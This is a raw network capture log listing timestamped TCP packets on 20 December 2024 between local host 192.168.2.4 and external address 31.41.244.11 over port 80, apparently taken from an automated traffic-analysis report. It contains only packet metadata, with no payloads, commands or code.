Dec 20, 2024 04:12:10.672800064 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.672812939 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.672822952 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.672853947 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.672880888 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.673070908 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.673127890 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.673130989 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.673181057 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.673279047 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.673331022 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.673361063 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.673407078 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.792392969 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.792464972 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.792632103 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.792632103 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.796525002 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.796642065 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.796674013 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.796708107 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.864798069 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.864864111 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.865008116 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.865008116 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.868927002 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.868998051 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.869038105 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.869096041 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.877310991 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.877377033 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.880350113 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.880409002 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.880444050 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.880500078 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.888751984 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.888794899 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.888811111 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.888883114 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.897125006 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.897183895 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.897212982 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.897270918 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.905522108 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.905590057 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.905626059 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.905678988 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.913876057 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.913937092 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.913959026 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.914014101 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.922265053 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.922332048 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.922379017 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.922426939 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.930691004 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.930758953 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.930794954 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.930847883 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.938277960 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.938338995 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.938479900 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.938534021 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.945936918 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.946002960 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.946028948 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.946086884 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:10.953486919 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:10.953556061 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.056907892 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.056979895 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.057116985 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.057116985 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.059076071 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.059142113 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.059900999 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.059958935 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.060009003 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.060064077 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.064493895 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.064553022 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.064558029 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.064604998 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.069020033 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.069084883 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.069117069 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.069171906 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.073564053 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.073645115 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.073668003 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.073729038 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.078135967 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.078195095 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.078223944 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.078275919 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.082695007 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.082756996 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.082756996 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.082809925 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.087208033 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.087279081 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.087292910 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.087353945 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.091770887 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.091824055 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.091834068 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.091869116 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.096317053 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.096388102 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.096410990 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.096462011 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.100992918 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.101052046 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.101090908 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.101144075 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.105365992 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.105433941 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.105473042 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.105524063 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.109910011 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.109966040 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.110002041 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.110066891 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.114471912 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.114538908 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.114547968 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.114602089 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.119024038 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.119069099 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.119111061 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.119142056 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.123586893 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.123652935 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.123723030 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.123780012 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.128106117 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.128165960 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.128210068 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.128266096 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.132654905 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.132730961 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.132816076 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.132875919 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.137196064 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.137269020 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.137304068 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.137356043 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.141741037 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.141827106 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.141859055 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.141917944 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.146265984 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.146343946 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.146385908 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.146445990 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.150831938 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.150892973 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.150928020 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.150981903 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.155365944 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.155487061 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.155529976 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.155567884 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.176605940 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.176692963 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.248895884 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.248984098 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.248984098 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.249062061 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.250658035 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.250716925 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.250756025 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.250814915 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.254141092 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.254214048 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.255392075 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.255451918 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.255491972 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.255548000 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.258925915 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.258991957 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.259051085 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.259109020 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.262391090 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.262450933 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.262541056 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.262597084 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.265819073 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.265882969 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.265923023 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.265981913 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.269073009 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.269133091 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.269196987 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.269253969 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.272303104 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.272361040 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.272406101 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.272461891 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.275510073 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.275564909 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.275609970 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.275665045 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.278639078 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.278697014 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.278738022 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.278795004 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.281713963 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.281774998 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.281825066 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.281882048 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.284723997 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.284751892 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.284782887 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.284811020 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.287749052 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.287811995 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.287847042 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.287900925 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.290749073 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.290807009 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.290884018 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.290941000 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.293751955 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.293812990 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.293848991 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.293905973 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.296761036 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.296789885 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.296878099 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.299742937 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.299806118 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.299846888 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.299901962 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.302791119 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.302815914 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.302875042 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.304547071 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.304604053 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.304651022 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.304694891 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.306334972 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.306401968 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.306430101 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.306478024 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.308120012 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.308176041 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.308224916 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.308276892 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.309920073 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.309968948 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.310003996 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.310051918 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.311685085 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.311738968 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.311791897 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.311845064 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.313460112 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.313512087 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.313584089 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.313632011 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.315254927 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.315305948 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.315341949 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.315387011 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.317051888 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.317104101 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.317159891 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.317209005 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.318825960 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.318877935 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.318964958 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.319010019 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.320614100 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.320663929 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.320723057 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.320775032 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.322393894 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.322447062 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.322504997 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.322552919 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.324167967 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.324220896 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.324274063 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.324321985 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.325957060 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.326046944 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.326128960 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.326179981 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.327769995 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.327822924 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.327852964 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.327903986 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.329530954 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.329585075 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.329628944 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.329677105 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.331322908 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.331371069 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.331403017 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.331454039 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.333089113 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.333142996 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.333194971 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.333242893 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.334901094 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.334950924 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.335028887 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.335078001 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.336677074 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.336729050 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.336755991 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.336803913 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.440984964 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.441098928 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.441106081 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.441170931 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.441860914 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.441920996 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.441937923 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.441981077 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.443654060 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.443670988 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.443708897 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.443736076 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.445383072 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.445399046 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.445451975 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.447161913 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.447204113 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.447237015 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.447283983 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.448882103 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.448946953 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.448964119 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.449018002 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.450570107 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.450628042 CET	49766	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:11.450675964 CET	80	49766	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:11.450732946 CET	49766	80	192.168.2.4	31.41.244.11
